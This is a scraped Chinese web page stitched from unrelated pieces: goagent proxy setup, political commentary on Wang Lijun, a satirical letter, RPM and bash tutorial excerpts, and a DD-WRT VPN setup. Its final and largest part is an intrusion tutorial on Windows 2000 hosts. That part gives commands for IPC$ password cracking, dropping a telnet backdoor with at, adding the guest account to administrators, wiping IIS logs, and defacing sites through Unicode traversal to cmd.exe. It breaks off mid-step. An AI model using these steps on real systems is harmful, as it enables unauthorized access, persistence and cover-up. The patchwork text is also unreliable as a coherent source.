1). 服务器端部署：

最近更新

• [0412 是]1.8.1稳定版发布。1.优化pac文件 2.兼容youku视频/qq电台/douban电台
• [0405 是]1.8.0稳定版发布。主要包含以下改进:

1. golang版本复活。
2. SSL证书优化
3. 为mobile端提供pac文件
4. 客户端性能优化
5. 客户端和服务端的bug修复
6. fetch.php支持大多数PaaS平台
7. 更友好的uploader程序

简易教程

• 如何部署和使用goagent，以Windows为例

1. 申请Google Appengine并创建appid。
2. 下载goagent稳定版 http://code.google.com/p/goagent/
3. 修改local\proxy.ini中的[gae]下的appid=你的appid(多appid请用|隔开)
4. 双击server\uploader.bat(Mac/Linux上传方法请见FAQ)，上传成功后即可使用了(地址127.0.0.1:8087)
5. chrome请安装SwitchySharp插件，然后导入这个设置http://goagent.googlecode.com/files/SwitchyOptions.bak
6. firefox请安装AutoProxy，Firefox需要导入证书，方法请见FAQ

昂山素季：一个温婉而执着的女人

Using the rpm command
The command used to work with RPM package files is rpm. To manage RPM packages, the rpm command has options that let you list all the packages that are installed, upgrade existing packages to newer versions, and query packages for information (such as the files or documentation included with the package). There is also a verify option to check that all files that make up the package are present and unchanged.

The rpm command has the following modes of operation:

• install (-i)
• upgrade (-U)
• freshen (-F)
• query (-q)
• verify (-V)
• signature check (--checksig)
• uninstall (-e)
• rebuild database (--rebuilddb)
• fix permissions (--setperms)
• set owners/groups (--setugids)
• show RC (--showrc)







Querying packages with rpm
You can use the query options (-q) of rpm to get information about RPM packages. This can
be simply listing the packages that are installed or printing detailed information about a
package. Here is the basic format of an rpm query command (at least one option is required):


# rpm -q [options]


The following list shows some useful options you can use with an rpm query:
• -qa — Lists all installed packages.
• -qf file — Lists the package that owns file. (The file must include the full path name or
rpm assumes the current directory.)
• -qi package — Lists lots of information about a package.000
• -qR package — Lists components (such as libraries and commands) that package
depends on.
• -ql package — Lists all the files contained in package.
• -qd package — Lists all documentation files that come in package.
• -qc package — Lists all configuration files that come in package.
• -qp [option] package — Query packages that are not yet installed. Using this option,
along with other query options, allows you to query packages you have that are not yet
installed.
To list all the packages installed on your computer, use the -a query option. Because this is a
long list, you should either pipe the output to less or, possibly, use grep to find the package
you want. The following command line displays a list of all installed RPM packages, and then
shows only those names that include the string of characters xfree. (The -i option to grep
says to ignore case.)

软禁中的赵紫阳：姚监复谈见赵内幕

西藏要求现阶段维稳压倒一切 严管网络与手机

许丹: 鱼死网不破—也说王立军出走美使馆

近 两年一直讲《新闻评论写作》，上学期还在一所高校代专升本的课程。但是，自从搜狐连封我三个博客后，第四搜狐博客门可罗雀，故不再写任何时评。说这话似乎 有点怪罪搜狐，其实我与搜狐并无大恨，且前次见到赵牧老师，又高高兴兴地跟着他回搜狐开了微博，成了新浪、搜狐两栖动物。

其实，我不再写时评的主要原因，是因为没有真实信息，失去真实信息源，写时评会经常自打耳光，学生是我文章的第一读者，当他们看到老师总在自己抽自己，免不了会偷着笑，那份尴尬，任何一个老师都会窘红了脸吧？

在中国从来就没有真正的新闻，只有宣传和小道消息。前者是刻意制作的，后者是半真半假，这样的新闻，评不评意义都不大。昨晚与朋友进餐，一桌学者围绕着最热门的话题，争论不休，招得我旧病复发，故在此，絮叨两句，权当搀和着玩吧。

王立军进入美国领事馆一事，引发各界猜测，为此，重庆夺走了2012年新词创造的第一块金牌。“休假式治疗”，天那，这词太有创造力，几种输入法连打，均拼不出来，哈哈！

王立军的消息最早来自外媒，接着就有传闻：部队西上，某人受限，一份煞有介事的公开信也迅速在网上传开，我认为要评论此事，5个字即可：鱼死网不破。

何谓“鱼死网不破”？

很多人都以为王立军此举是釜底抽薪，要了谁谁的命，这种观点过于乐观。中国政治走到今天，并未走出宫墙，始终是一种宫廷政治，宫廷斗争变化莫测，随时翻牌！

这次王立军是豁出去了，可又能怎样？若是在一个新闻自由的国家，定是一场海啸，在中国可就景象不同了。请大家离开电脑去看看、去听听，周围到底有多少人在谈王立军？

主流媒体掌管着主流人群的耳朵和嘴巴，这就是我所说的“鱼死”的原因。王立军豁出来，那好啊，你跳，让你死还不容易？在中国人死有两种，一种是咽气，从此 不再睁眼，也不再吃喝。还有一种，人未死，权利先死；气没咽，音信全无！在这个国家，总书记都能神奇地消失殆尽，更何况你一个既不是“官二代”，又不是 “富二代”的王立军了。什么“铁血警魂”，这是骗鬼的。只要不听话，宫廷政治小菜都不摆你这一碟，魂都让你无处归，信不? 等着瞧吧。

鱼死了，为何“网不破”？

宫廷政治，要斗智斗狠。斗智嘛，穷尽一切巧诈之术，所以在宫廷政治的地方，永远没有新闻报道，最多是新闻宣传。高墙里的掌权者，对外边蝼蚁的政治热情，总 会窃喜窃笑。斗狠，则需要铁腕人物，而这第二点正是“网不破”的原因所在。今天的中国已今非昔比，不要说没有毛泽东、斯大林了，就连慈禧也没有了。你说谁 是铁腕？谁肯、谁敢、谁有这个能力去碰“TZD”呢？况且，当一个TZ兔死，十个TZ狐悲，谁敢惹这个群体？至今有一个“TZD”祭刀吗？

王立军是小儿，自己蹦出来，鱼死是必然的，可要想应了那句“鱼死网破”的成语，你屈指掐算一下，谁是这铁腕的担当人？若是找不出来，网自然不破。没有了铁腕，如何斗狠？王立军开演的这场宫廷争斗，也就谢幕了。

这场大戏，会以不了了之收场，虽然伤了某人的元气，可能会影响扶摇直上。但是不会出现什么“双规”“审判”的连续剧。

所以我说:“鱼死网不破。”一家之言，说着玩，读者看看当乐，千万别当真。

下周要开学了，今个闲着无事，码字解闷，谢谢大家！

许丹 2012.2.10 于京宅

原文链接

衙内足下钧鉴：

你来信说2011年的中国难以理解，我也有同样的困惑。从表面上看，2011年的中国与你的中国有巨大差异，但深究到某些细节，你会发现，2011年的中国依然还是你的中国。

在你的时代，当个衙内很幸福，可以在大街上随便纠缠姑娘，可以四处饮酒作乐，花销全签在你爹的账上，你喜欢林冲娘子，就把她丈夫送去劳改，这事有点 过分，你自己也承认，但自千年后观之，这一切似乎也可以理解，你是一个荷尔蒙充沛的年轻人，春夜寂寞难耐，手里又没有车模和女明星的照片，有火无处发，其 憋得何如啊。你爱上了有夫之妇，却不知该怎样当一个成功的小三，你的时代也不允许自由恋爱，姑娘们捂得那个严实如同阿拉伯人，看不到玉腿，也看不到事业 线，其郁闷何及啊。高雅如你，一定也不喜欢去天上人间找李师师，于是脑门一热稀里糊涂就动用了你爹的权力。哦，忘了说了，上文中的“天上人间”其实就是你 们的“教坊”，只不过装修更豪华、设施更完备，姑娘们个个都比林冲娘子漂亮，而且她们每天都洗澡，据说还会许多绝活儿，制服诱惑、冰火九重天之类，这些词 我就不解释了，主要是怕你悲伤逆流成河。

但我还是要说，你out了，用2011年的标准，你简直不像个衙内，你不当少将，不当督抚，不开公司，不炒地皮，连宝马都没一辆，有时甚至还要挨 打，当衙内当得如此悲摧，你呀你真是一朵奇葩。这种种迹象都表明，你确实不是高太尉亲生的，他当着那么大的干部，儿子泡个妞还这么艰难，妈逼的这还是不是 老赵家的天下？太尉太尉，太个球的尉。你曾经那么拉风，可在2011年，新出的李衙内、王衙内个个比你拉风，人家街头横行，人家功成名就，人家你看看人 家，再看看自己，是不是该加强政治学习了？

你说想到2011年来体验一下现代生活，我必须提醒你，来时千万别坐动车，如果实在要坐，那就挑个不打雷的日子，这一年的雷公在党性和人性之间失去 了自我，专打不靠谱的社会主义初级阶段的雷，不管你信不信，反正我是信了。如果你要住店，千万别住太便宜的，否则会被当成上访人员，如果你不知道什么是 “上访人员”，那就想想牛二和李逵。你很可能来不及换衣服，要是有人问你“在拍什么电影”，你就说在拍《龙门飞甲》的第三集，《龙门飞饼》。2011年很 热闹，但也很阴险，要是有人走过来说你中了大奖，你就说“去你妈的”；要是有人打着十字旗找你募捐，你就说“滚你妈的”；要是有人问你知不知道什么是连锁 销售和资本运作，你就说“操你妈的”；要是有人说你既有选举权又有被选举权，你就把上面三句话连起来说一遍，要是有人因此要抓你，你就这样辩解：刚才那话 是临时工说的。

如果你去山东，不管天气阴晴，请戴上墨镜；如果你去甘肃，经过那条土路，请替我点一盏灯；如果你到了北京，会看到一栋裤衩似的建筑，别忘了掀开口罩 朝它吐口唾沫；如果你有幸降落在朝鲜，一定要先学会怎么装哭，哭不出来干嚎也行，最好能带上几斤辣椒，危机时刻可以拿来擦眼，重庆辣椒最好，那地方唱了整 整一年的红歌，把青椒都唱红了。要是你一不留神到了大洋彼岸，你有福了，你们衙内们都在那水深火热的人间地狱为全世界的无产阶级奋勇花钱呢，你比他们更有 资格从事这光荣而艰巨的事业，不过最好先去西太平洋大学买张文凭。

来到2011年，你一定会喜欢那个叫“电视” 的东西，那上面有一些话你能听懂，另外一些你听不懂，听不懂就对了。看电视的时候可以吃爆米花，但千万别喝牛奶，我是说任何一种牛奶，因为2011年的牛 都是道德沦丧的牛，世风日下，牛心不古啊。2011年的菜比宋朝好吃，但最好别放油，因为黑心骗子往油里掺加了太多中国国情，你们宋朝土鳖不一定喝得惯。 2011年还有一种叫“网络”的东西，如果你想发言，请按照有关部门的有关法律登记真名，如果你不记得自己叫什么，那就这么写：我爸是高俅，我家住在东京 汴梁五岳山小区四期101号B1，欢迎投资，谢绝跨省。

你来到2011年，会有许多生意人拉你入股，记住别跟他们客气，他们看中的不是你本人，而是你爹手中的权力，这玩意儿本是用来为人民服务的，对吧， 怎么能拿来做交易？不管开价五百万还是五千万，理都别理，少于两个亿甭跟丫废话。姑娘们也会排着队等你临幸，记住一定要找个没上过征婚节目的；如果都上过 征婚节目，那就找个没整过容的；如果都整过容，那就找个有内涵、懂黑格尔哲学的；如果都有内涵，都懂黑格尔哲学，那就找个胸脯大的，但无论如何都不能找那 个开玛莎拉蒂的，她自己的麻烦已经够多了。

如果你爹的权力不再有效，你的现代生活将无比艰难，我不知道你有多少银子，但肯定不够买一套房子的。你可能需要一份工作，但我真不知道你能干什么， 进公司吧，你没那个学历，扛麻袋吧，你没那个体力，最好的办法就是上网回帖，这事不需学历，不需体力，甚至不需要智力，发一条赚五毛，舒坦，省心，酷。如 果连这都干不了，那就只能去当作家了，拿个碗坐在天桥上，说这个世界不符合你的梦想，希望好心人施舍你一张回宋朝的车票。干这活儿容易招狗咬，被咬之后请 注意风度，千万不能与之对咬，否则动物保护主义者会说你没有人性。

这生涯看起来不怎么诗意，希望你不要因此而沮丧，因为在2011年，有千千万万人正过着同样艰难的生活，他们在工地上，在山野间，他们流汗，他们流 泪，他们躲猫猫，他们俯卧撑，他们打酱油，他们把汽油浇在身上，把自己烧成一辆铲车。这千千万万种艰难和天价茅台、奢华吊灯构成一副色彩斑斓的长卷，而这 就是真正的中国，真正的2011，也是你一直向往的“现代生活”。在这真实的人间，生活不总是幸福，世界也不像想象中那么美好，但还是有许多温暖之物正在 散发光辉。在这一年行将结束的时候，人们说，世界即将毁灭，天才和恶魔都已上船，但我还是希望末日能够晚几年再来，因为人类还有希望，文明还有希望，中国 还有希望。

我的朋友，愿你的2011幸福美满，愿你的2012也同样幸福，同样美满。此时天地冰封，许多不搞，有人悲观失望，有人忧伤叹息，但请相信，当我们 捱过最冷的日子，春花就会在人间次第绽放。如果你觉得斯世没什么可以相信，那就相信人心未冷，如果你觉得斯世没什么值得关心，那就关心自己、关心明天。这 是微妙而艰难的时刻，但我们正在一点点变好。

——后学慕容雪村谨启

又及：听说陶渊明也要来，请转告他：桃花源景区的旅游纪念品不能买，全是假货；他最爱的南山已经被拆迁队刨平了，听说要盖豪华别墅。还有，到了2011，一定不能说自己喜欢菊花，否则会被当成变态。

通信》

Linux vps安装图形界面的方法(VNC+Gnome/KDE)-远程桌面多方案适合大小内存

Linux Shell Powerful Tools：


Connecting and expanding commands
A truly powerful feature of the shell is the capability to redirect the input and output of commands to and from other commands and files. To allow commands to be strung together,the shell uses metacharacters. As noted earlier, a metacharacter is a typed character that has special meaning to the shell for connecting commands or requesting expansion.

Piping commands


The pipe (|) metacharacter connects the output from one command to the input of another command. This lets you have one command work on some data, and then have the next command deal with the results. Here is an example of a command line that includes pipes:


$ cat /etc/passwd | sort | cut -f1,5 -d: | less


This command lists the contents of the /etc/passwd file and pipes the output to the sort command. The sort command takes the user names that begin each line of the /etc/passwd file, sorts them alphabetically, and pipes the output to the cut command. The cut command takes fields 1 and 5, with the fields delimited by a colon (:), then pipes the output to the less command. The less command displays the output one page at a time, so that you can go through page by page.


Using file-matching metacharacters
To save you some keystrokes and to be able to refer easily to a group of files, the bash shell lets you use metacharacters. Anytime you need to refer to a file or directory, such as to list it, open it, or remove it, you can use metacharacters to match the files you want. Here are some useful metacharacters for matching filenames:

• * — This matches any number of characters.
• ? — This matches any one character.
• [...] — This matches any one of the characters between the brackets, which can
include a dash-separated range of letters or numbers.

Sample Examples:








Using file-redirection metacharacters
Commands receive data from standard input and send it to standard output. Standard input is normally user input from the keyboard, and standard output is normally displayed on the screen. Using pipes (described earlier), you can direct standard output from one command to the standard input of another. With files, you can use less than (<) and greater than (>) signs to direct data to and from files. Here are the file redirection characters:
• < — Direct the contents of a file as input to the command (because many commands take a file name as an option, the < key is not usually needed).
• > — Direct the output of a command to a file, overwriting any existing file.
• >> — Direct the output of a command to a file, adding the output to the end of the existing file.
Here are some examples of command lines where information is directed to and from files.









Managing background and foreground processes
If you are using Linux over a network or from a dumb terminal (a monitor that allows only text input with no GUI support), your shell may be all that you have. You may be used to a windowing environment where you have a lot of programs active at the same time so that you can switch among them as needed. This shell thing can seem pretty limited.


There are several ways to place an active program in the background. One mentioned earlier is to add an ampersand (&) to the end of a command line. Another way is to use the at command to run commands in a way in which they are not connected to the shell. (See Chapter 12 for more information about the at command.)
To stop a running command and put it in the background, press Ctrl+z. After the command is stopped, you can either bring it to the foreground to run (the fg command) or start it running in the background (the bg command).

Instead of building a Linux server, you can also use a Linksys WRT54GL or WRT54G V4, replace the Linksys firmware with DD-WRT-VPN version.
To be safe, you should first flash the DD-WRT-mini version first, then flash the DD-WRT-VPN version so you won't destroy your Linksys box.
The DD-WRT-VPN version has an excellent PPTP server which is easy to set up and works perfectly behind a D-LINK firewall. See thiscombination.
The PPTP Server is in the Administration Tab, Services Tab. Check the PPTP check box. Server IP is the IP address of the WRT54GL box itself.
CHAP secret field is in the form of  username * password *
e.g. alice * strong-password  *



mc -e /etc/resolv.conf
nameserver 216.21.128.22  (note: please use your ISP/cable/DSL company's DNS servers)
nameserver 216.21.129.22F2 to save the file, F10 to quit editing.

reboot

---

---

Cracker 五法

方法一:安装服务
　　我知道很多人都有format 硬盘的坏习惯，我以前也有，现在彻底改邪归正了。如果找到一台有漏洞的机器（我这里专指可以拿到权限的win2K机器），由于没有开现成的端口，而轻易黑掉，是很可惜的。他没有开，我们可以给他开嘛。
　　对于win2000，很多人进去都喜欢net start TermService，一般由于该服务被禁用，是开启不成功的，那么我们想一点别的办法。：）
　　我们会用Windows 2000下的Resource Kits中的一个工具instsrv创建一个服务，instsrv的用法如下，当然，你也可以用其他的工具来实现（如srvinstw，GUI方式的）。
C:\>instsrv
Installs and removes system services from NT
INSTSRV <service name> (<exe location> | REMOVE)
[-a <Account Name>] [-p <Account Password>]
Install service example:
INSTSRV MyService C:\MyDir\DiskService.Exe
-OR-
INSTSRV MyService C:\mailsrv\mailsrv.exe -a MYDOMAIN\joebob -p foo
Remove service example:
INSTSRV MyService REMOVE
　　大家现在明白了吧？
　　先instsrv TermService REMOVE然后给他再装上终端服务instsrv Winlogonservice c:\winnt\system32\termsrv.exe
　　嘿嘿，只要c:\winnt\system32\termsrv.exe存在，就可以给他装上一个叫做Winlogonservice的服务，而且是自动启动，哈哈～～
　　不妨在送个reboot.exe给他，然后用at \\xxx.xxx.xxx.xxx 23:30 reboot.exe
这样他重启过后我们就能连接他的3389了。：）
方法二:对于终端服务设置为已禁止的机器
　　使用win2000无人职守工具sysocmgr.exe:
echo [Components] > c:\bootlog.txt
echo TSEnabled = on >> c:\bootlog.txt
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\bootlog.txt /q
　　sysocmgr的用法请自己到命令行下输入 sysocmgr[回车] 看看帮助，写得很清楚，上面的参数大致不变；如果你不想对方马上重启，输入 /r 选项，拟制重启(防止被发现)：
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\bootlog.txt /q /r
方法三:修改对方服务设置或者直接修改注册表（成功率相对较低）
　　1、在regedit中菜单“注册表”－》“连接网络注册表”HKEY_LOCAL_MACHINE－》SYSTEM－》CurrentControlSet－》Services－》Termservice,将start键值修改为2－》退出regedit
想办法让对方机器重启（reboot.exe很管用）
　　2、我的电脑－》管理－》服务－》Terminal Services－》属性－》自动－》确定－》启动Terminal Services（成功率不是很高）
　　进入肉鸡后，请大家帮助升级，打补丁，堵漏洞（肉鸡多半也是国内的嘛），然后她就会为你忠实服务了。
　　对于sa弱密码进入系统的菜鸟，记得到 开始－》程序－》mssql server->enterprise management->。。。。－》security->logins里面给自己加个帐户（不要是DBO，会有麻烦），当然权限和sa相同，然后修改sa密码(嘿嘿，独占，这样“她的眼里只有你”)。
======== 续 ＝＝＝＝＝
1）所谓“万能3389攻击”的具体攻击办法：
　　3389连接目标的时候，点击服务器地址栏，点击任务栏输入法，选择清华紫光（或者别的什么鸟输入法，只要能看帮助就行）；
　　连接到3389服务器，如果对方刚好有这个输入法，那么就用输入法漏洞利用方法一样（差别是有的，关键在：找到什么地方有“打开文件”或者“保存文件”对话框出现）；
2）漏洞存在的原因及解决思路：
　　鉴于第三方输入法都是系统及相关应用软件（SQL server 、IIS、补丁等）装好后才考虑的事情，这个帮助文件一般也不是放在%systemroot%\help下面，所以删除这个目录下面的win*是没有用的，必须到安装目录去删除.cnt或者*.hlp文件才行。
　　
　　说得科学一点是这样：第三方软件设计缺陷导致系统出现漏洞；说得玄乎一点就是系统打不打补丁都一样能黑。由于第三方软件不在MS Service pack范围内，当然与sp 无关。
　　听着这两种表示方式，大家觉得那样比较好？ （我认为科学得态度是首要的，不要学李红痔故弄玄虚，把握事情本质才是我们追求的）
3）体验
　　这是输入法漏洞利用的延伸，我曾经用清华紫光的这个帮助里面的“添加打印机”（好像是）然后弹出的”保存文件“对话框内，找个可执行文件，右键点击－》“建立快捷方式”－》快捷方式“属性”＝》net user ......－》确定－》右键点击－》打开（也就是执行）成功进入过一些机器。
4）题外话
　　另外，除非你运气特别好，否则比较难遇到，因为服务器上装东西的原则是：只要够用就行。
其实“口令入侵”这个主题网上有很多现成的教程，我在这里把它整理一下。不管是破解FTP口令还是TELNET口令，最终的目的都是为了取得系统控制权，成为administrators/root用户。对windows2000/NT来说，获得其管理员身份无非三种途径：一是得到SAM._文件，然后用10phtcrack之类的工具来暴力破解；二是用流光之类的工具对目标系统的简单IPC$、FTP密码、SQL密码等进行扫描探测；三是通过系统漏洞，绕过系统身份认证以管理员身份进去，然后添加一个administrators组的用户和密码。第一种方法需费很多时间，只要得到了SAM._文件，成功几率倒也不小；第二种方法只对那些粗心大意的网络管理员有用，譬如他将密码设置为1234，那用流光很快就能探测出来；第三种方法最为常见，寻找系统漏洞，然后尝试入侵，一直以来是网上入侵者们的兴趣所在，而且成功概率也高。对于UNIX/Linux系统，获取一个root权限要困难得多，通过查看一些资料，我发现这类入侵都遵循这么一个思路：1、扫描远程系统，试图发现漏洞，如rpc漏洞、FTP匿名登陆等。2、finger远程系统，尝试获得其用户列表。3、根据已获得资料试图得到远程系统的一个shell。这一步很重要，黑客的技术水平如何就体现在这里了，一些高明的黑客利用极其简单的一个系统弱点就能得到一个自己想要的shell。4、得到shell后，黑客就可以远程rsh或rlogin过去了，然后查看系统版本信息，根据已有的经验判断该版本系统可能存在的缓冲区溢出漏洞。5、查找系统可写入目录，并判断自己是否有可编译权限。6、当这一切完成后，黑客就上传一个溢出程序，在远程主机上编译并执行，从而利用溢出漏洞得到root权限。7、留下后门，清除日志

一、WINDOWS系统口令入侵
对于WIN2000/NT系统的口令入侵已讲得太多，我也不愿意将旧的故事一遍又一遍的重提。一般来说，这类入侵具体有这么几种手法：1、通过IPC$口令破解入侵；2、利用Unicode漏洞尝试入侵；3、利用开放终端服务和输入法漏洞入侵；4、利用IIS远程溢出漏洞入侵；5、利用SQL弱口令入侵。下面我简要介绍这5种入侵过程，看完后你会发现，原来进入远程系统是如此容易。
1、IPC$入侵：IPC$是指进程间的通信，win2000/NT主机之间通过它来实现数据交换。而利用这一特征还在于2000/NT系统有一个默认的隐藏共享，这个共享被设计的初衷是为了方便管理员远程管理操作系统的，现在却被黑客拿来实现他们的目的。
开启流光，选择“探测->扫描POP3/FTP/NT/SQL主机”，在“开始地址”和“结束地址”里都填入目标地址：192.168.4.95，在“扫描主机类型”下拉菜单里选择“NT/98”，点“确定”开始扫描。
经过几秒钟后，192.168.4.95 这台主机就出现在左边的主机类型“IPC$主机”里。选择这台主机，点击右键，在弹出的下拉菜单里选择“探测->探测IPC用户列表”。
开始探测，只要用户的密码字典里包含目标主机的密码，则流光迟早能探测出来，探测时间的长短取决于用户的密码字典大小和攻击机器的运行速度；典型的黑客字典都有十几兆大小，这样探测起来就需要很长（可能是几天）的时间。经过几分钟的探测后，我们发现，流光已成功的探测到了目标主机的三个密码，其中包括系统管理员Administrator密码：cell.
好了，有了目标主机的系统管理员密码后，这台主机就已经完全控制在我们手中了。下面说明如何利用流光探测到的密码从IPC$入侵主机.
开DOS窗口，先PING一下目标主机：192.168.4.95，看看TTL值为128，可以判定这台主机为NT/WIN2000系统了，正是我们所要。用如下命令：
c:\>net use \\192.168.4.95\ipc$ “cell” /user:”administrator”
提示：命令运行成功。已经成功的和目标主机建立连接。
复制一个Telnet程序上去(小榕流光安装目录下的Tools目录里的Srv.exe) ，这个程序是在目标系统上开一个Telnet服务，端口是99。
c:\>cd tools
c:\>tools>copy .\srv.exe \\192.168.4.95\admin$\system32
admin$是ＮＴ的默认的隐藏共享，他对应的是ＮＴ安装目录里的system32目录．通常是在c:\winnt\system32，你也可以用C$ , D$ 他们分别代表盘符C盘，D盘．都是系统的默认共享。
显示：已复制 1个文件。文件复制成功。
下面我们需要远程启动这项服务，利用WIN2000的SCHEDULE（定时）服务来启动这个程序。先看一下目标系统的时间：
c:\>net time \\192.168.4.95
显示：
\\192.168.4.95的当前时间是2001/10/22上午10：00
命令成功完成。
下面设定目标系统的TELNET服务在指定时间内启动，用at命令：
c:\>at \\192.168.4.95 10:02 srv.exe
显示：
新加了一项作业，作业ID=1。
说明命令成功执行，下一步就等到服务启动后TELNET上去。
2分钟后，可以TELNET了：
c:\>telnet 192.168.4.95 99
（srv.exe开的端口是99.这里我们就telnet 192.168.4.95 99）
这个程序好在不用输入口令和没有日志记录．但是每一次使用后都会自动关闭，下次要用时要重新启动，才能再用。
我们看到如下界面：
Microsoft Windows 2000 [version 5.00.2195]
<c>版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32\>
这样，我们就成功的登陆上去了。
由于我们已经是系统的管理员，所以有权在目标主机上做任何事，包括创建文件、删除文件、给文件该名、创建、删除用户帐号等。至此，目标系统再无任何安全可言。
当然，我们还可以以目标系统为跳板，进一步入侵别的系统。
另开一个DOS窗口，先复制TOOLS目录下的另一个文件NTLM.EXE上去：
c;\tools\>copy .\ntlm.exe \\192.168.4.95\admin$\system32
这个程序是用来改变WIN2000 TELNET SERVER 的身份验证方式，将其改为明文验证。
回到前一个DOS窗口，执行NTLM：
C:>ntlm
有提示字符显示命令成功完成。
然后我们重启一下TELNET 服务，用如下命令行：
c:\>net stop telnet
然后再：
c:\>net start telnet
提示：
TELNET 服务已经成功启动。
这样，你就可以以它为跳板，入侵别的主机了。
再次登陆本身：
C:\>telnet 192.168.4.95
要求输入用户名和口令。输入用户名administrator和 口令：cell，回车后登陆成功了。到此为止，我们已经完全取得了目标系统的控制权，一次入侵成功。
我们希望黑客到此为止就罢手了，可是他会罢手吗？不会。他还会在系统里留下几个后门，这样就算管理员密码被改了他也可以利用自己设置的后门进到系统。通常的，他会把系统guset帐号激活并加入管理员组，在TELNET终端下输入如下命令：
c:\>net user guest /active:yes
c:\>net user guest 1234
c:\>net localgroup administrators guest /add
这样他下次就可以用guset用户名，密码1234以系统管理员身份登陆了。
当然，不要忘了擦除痕迹，把c:\winnt\system32\logfiles\w3svc1\下的文件都给删了吧。
要防止这类入侵，第一是要将系统密码设置得复杂一些，不要使用生日和常用字符作为密码，而使用字母和数字的组合如lo3v4e之类的密码则普通的流光探测就无能为力了。第二是更改注册表，禁止建立空连接和禁止管理共享

2、Unicode漏洞入侵：
这类入侵在网上提得实在太多了，我也没心思写出更好的教材，下面转一篇：
首先我们来看看这个漏洞的原理。
在中文版的IIS4，和ISS5中，存在一个BUG，原因是UNICODE编码 存在BUG 在UNICODE 编码中，发现了一个奇怪的编码方式，
例如：
%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40)
IIS 把 "%c1%hh" 编码成
(0xc1 -0xc0) * 0x40 + 0xhh.
例如 (Windows 2000 + IIS 5.0 + SP1 简体中文版):
http://192.168.8.48/A.ida/%c1.ida
IIS 将返回"@.ida" 找不到该文件 在这里 （0xc1-0xc0)*0x40+0x00=0x40='@'
http://192.168.8.48/A.ida/%c1%01.ida
IIS 将返回 "A.ida" 找不到该文件 这里 （0xc1-0xc0)*0x40+0x01=0x41='A'
http://192.168.8.48/A.ida/%c1%02.ida
IIS 将返回 "B.ida" 找不到该文件 ....
http://192.168.8.48/A.ida/%c0%21.ida
IIS 将返回 "!.ida" 找不到该文件
这就意味着你能利用这些编码的特点。
例如：
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
所以我们就可以用这种方法进入一些目录。
(1)http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
这样我们将得到
Directory of d:\inetpub\scripts
2000-09-28 15:49 〈DIR〉
. 　　1999-07-21 17:49 147,456
Count.exe 2000-09-12 17:08 438,290
Count25.exe 2000-10-13 15:03 8,867
counter.err 2000-08-23 23:07 160,002
counter.exe 1999-05-25 18:14 3,925
CountNT.html 1999-07-21 17:49 64,512
extdgts.exe 2000-08-10 15:24 46,352
ism.dll 1999-07-21 17:49 64,512
mkstrip.exe 1999-05-25 18:18 1,317
README.txt 2000-09-28 15:49
〈DIR〉 wcount 9 File(s) 935,233 bytes
(2) 我们也可以利用此BUG得到一些系统文件的内容
http://192.168.8.48/a.asp/..%c1%1c../..%c1..../winnt/win.ini
IIS 将把它当作 a .ASP 文件提交.它将让 asp.dll 来打开文件win.ini
如果用 IIS 4.0+SP6(中文版), 将不能测试成功 但是我们能用下列方法得到。http://192.168.8.100/default.asp/a.exe/.. ../.. ../winnt/winnt.ini
"default.asp" 是一个存在的 .ASP 文件， "a.exe" 是一个随机的 .EXE 文件名. 它可以不存在。
打上SP1仍然还有这种编码问题。
在英文版本中使用 %c1%af 能正常利用这个漏洞。
2.了解了漏洞的详细资料。让我们来说说怎么利用。
a.利用IISExploitSearcher工作之便这个软件，我们来找有这个漏洞的主机。
虽然这个漏洞公布很久了， 但你仍然会发现，你可以找到很多这种机器。
假如我们已经找到了一台有这个漏洞的机器。
让我们来进行下面的操作。
b.http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe
这个URL语句的执行的命令是：利用NT/2000下的命令解释程序cmd.exe来执行一个拷贝命令。
copy c:\winnt\system32\cmd.exe ccc.exe
它把c:\winnt\system32\cmd.exe 拷贝到了c:\inetpub\scripts\ccc.exe
就是DOS命令中的空格，在URL中就要换成“+”号。
你要执行copy c:\winnt\system32\cmd.exe ccc.exe
相对应的是http://ip/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe
其中/scripts/..%c1%1c../winnt/system32/cmd.exe?/c是固定的，他的作用是调用c:\winnt\system32\cmd.exe来执行命令。
噢，忘了说为什么要拷贝cmd.exe了。
因为微软的iis加载程序的时候检测到有串cmd.exe的话就要检测特殊字符“&|(,;%<>”，所以必须改名。
c.这时c:\winnt\system32\cmd.exe已经拷贝到了c:\inetpub\scripts\ccc.exe
通过http://ip/scripts/ccc.exe?/c
我们就可以调用到cmd.exe了，就是说不用那个编码了。
+c:\inetpub\wwwroot\default.asp">http://ip/scripts/ccc.exe?/c+echo+Hacked+by+Lion+>+c:\inetpub\wwwroot\default.asp
>+c:\inetpub\wwwroot\default.asp">http://192.168.8.48/scripts/ccc.exe?/c+echo+20/10/2000+>>+c:\inetpub\wwwroot\default.asp
主页面就被修改成了：
Hacked by Lion
20/10/2000
也就是说，已经把他的主页黑了。
：P
下面是一些解释。
其中echo 是一个回显命令。
你在DOS下打一个echo Hacked by Lion 看看。
它是在屏幕上显示
Hacked by Lion
不只这样
你也可以让它把东西写进一个文件。
echo Hacked by Lion > lion.txt
这样当前目录下的lion.txt文件里就有了Hacked by Lion的字样。
其中 > lion.txt的用途是把回显的字符写进lion.txt,它覆盖原来的内容。
你如果再想用echo 20/10/2000 > lion.txt 来写剩下的内容的话，
你会发现它覆盖了原来的内容Hacked by Lion。
怎么办呢？别急！
echo Hacked by Lion > lion.txt
echo 20/10/2000 >> lion.txt
看看吧
文件里面的是
Hacked by Lion
20/10/2000
成功了。
这样，就可以用上面的解释，把空格用"+"代替，就可以向别人的主页写任何东西了。
补充一点
好多站点\inetpub\下的scripts目录删除了， 但\Program Files\Common Files\System\下 的msadc还在
（有msadcs.dll漏洞的话就不用 %c1%1c了）。
这时可以如下构造请求：
http://ip/msadc/..%c1%1c../..%c1%1c../..%c.../c+dir+c:\
就能调用到cmd.exe
3.当然，我们也不能只停留在黑主页的地步，当然想进一步控制整个机器了。
：P
下面来说说几种方法来控制这个机器。
a. 如果c:\winnt\repair\sam._存在
